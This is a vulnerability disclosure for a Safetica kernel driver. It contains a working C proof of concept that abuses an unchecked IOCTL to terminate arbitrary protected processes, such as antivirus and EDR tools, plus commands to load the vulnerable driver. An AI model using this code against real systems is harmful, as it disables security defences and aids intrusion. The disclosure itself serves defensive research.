Security Research

Safetica Kernel Privilege Bypass Vulnerability (CVE-2026-0828)

November 01, 2025 KOSEC Research

This vulnerability has been reported through CERT and has been assigned CVE-2026-0828. Vulnerable drivers and writeups can be found at here.

Summary

A local, unprivileged user can abuse a vulnerable IOCTL path in the Safetica’s ProcessMonitorDriver.sys kernel driver to cause privileged termination of arbitrary protected/system processes such as EDR/AV software. The condition can also cause Denial of Service by terminating own system driver.

Impacted Product and Version Information

Vendor: Safetica
Product / module: Endpoint Client — kernel driver: ProcessMonitorDriver.sys
Affected versions (as tested):

  • Version [11.11.4.0] - SHA-256: 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
  • Version [10.5.75.0] - SHA-256: 85d21ad0e0b43d122f3c9ec06036b08398635860c93d764f72fb550fb44cf786

Tested on Windows 10 x64 build:

  • Version 1903 (OS Build 18362.30)
  • Version 22H2 (OS Build 19045.2006)].

Root Cause Analysis

  • Description: Insufficient privilege validation and inadequate sanitization of user-controlled input in a privileged IOCTL handling path of the driver (IOCTL Code 0xB822200C).
  • Code Flow:
    1. The driver is initialized
    2. It creates a device object with the name L"\\Device\\STProcessMonitorDriver"
    3. It creates a symbolic link L"\\DosDevices\\STprocessMonitorDriver”. The \DosDevices\ path is equivalent to \??\, which means a user-mode application can access it via \\.\STProcessMonitorDriver
    4. It sets the dispatch routine for IRP_MJ_DEVICE_CONTROL to the vulnerable function.
    5. The vulnerable function uses a switch statement to handle different IOCTLs. The process killer function hits on the case 0xB822200C.
  • Suggested fixes:
    • Enforce strict caller access and privilege validation in the IOCTL path before performing any privileged action (verify requester’s token/privilege and caller integrity).
    • Validate and sanitize all inputs from usermode before passing them to privileged kernel routines.

Proof-of-Concept

  1. The proof-of-concept (PoC) code:

    Compile the PoC code with the x64 Visual Studio Developer Command Prompt by running the command cl poc.c

     #include <stdio.h>
     #include <windows.h>
     #include <winnt.h>
    
     #define IOCTL_KILL_PROCESS 0xB822200C
    
     int main(void) {
         HANDLE hDevice = INVALID_HANDLE_VALUE;
         UINT64 targetPid = 0;
         BOOL bResult = FALSE;
         DWORD bytesReturned = 0;
    
         hDevice = CreateFileA(
             "\\\\.\\STProcessMonitorDriver",
             GENERIC_READ | GENERIC_WRITE,
             0,
             NULL,
             OPEN_EXISTING,
             FILE_ATTRIBUTE_NORMAL,
             NULL
         );
    
         if (hDevice == INVALID_HANDLE_VALUE) {
             printf("[-] Failed to open a handle to the driver. Error: %lu\n", GetLastError());
             return -1;
         }
    
         printf("[+] Successfully connected to the driver.\n");
         printf("Enter the Process ID (PID) to terminate: ");
            
         if (scanf("%llu", &targetPid) != 1) {
             printf("[-] Invalid input.\n");
             CloseHandle(hDevice);
             return -1;
         }
    
         printf("[*] Sending IOCTL 0x%lX to terminate PID %llu...\n", IOCTL_KILL_PROCESS, targetPid);
    
         // Send the IOCTL to the driver.
         // The input buffer is the address of our 64-bit PID variable.
         // The input buffer size will be 8 bytes, satisfying the driver's check.
         bResult = DeviceIoControl(
             hDevice,
             IOCTL_KILL_PROCESS,
             &targetPid,          // Input buffer (the 8-byte PID)
             sizeof(targetPid),   // Input buffer size (will be 8)
             NULL,                // Output buffer (not used)
             0,                   // Output buffer size
             &bytesReturned,
             NULL
         );
    
         if (!bResult) {
             printf("[-] DeviceIoControl failed. Error: %lu\n", GetLastError());
             CloseHandle(hDevice);
             return -1;
         }
    
         printf("[+] Success! The IOCTL was sent.\n");
         CloseHandle(hDevice);
         return 0;
     }
    
  2. To test the driver itself, run the following commands in the command-line with Administrator privileges to install it on the system before running the PoC.

     > sc.exe create STProcessMonitor type=kernel binPath=C:\Path\To\Driver\ProcessMonitorDriver.sys
     > sc.exe start STProcessMonitor
    
  • Download it from - https://downloads.safetica.com/partner/safetica_setup.exe
    • Run the installer and download the safetica_endpoint_client_x64 (SHA256: 9dbc82d61c0759c4db9862acd63408abd4664cd698b9d5669f9558a544133e3b)
      • At the bottom of the Safetica ONE installer, clicke where it says “Optional: Safetica Client”
      • The vulnerable driver is installed under C:\Program Files\Safetica\ as ProcessMonitorDriver.sys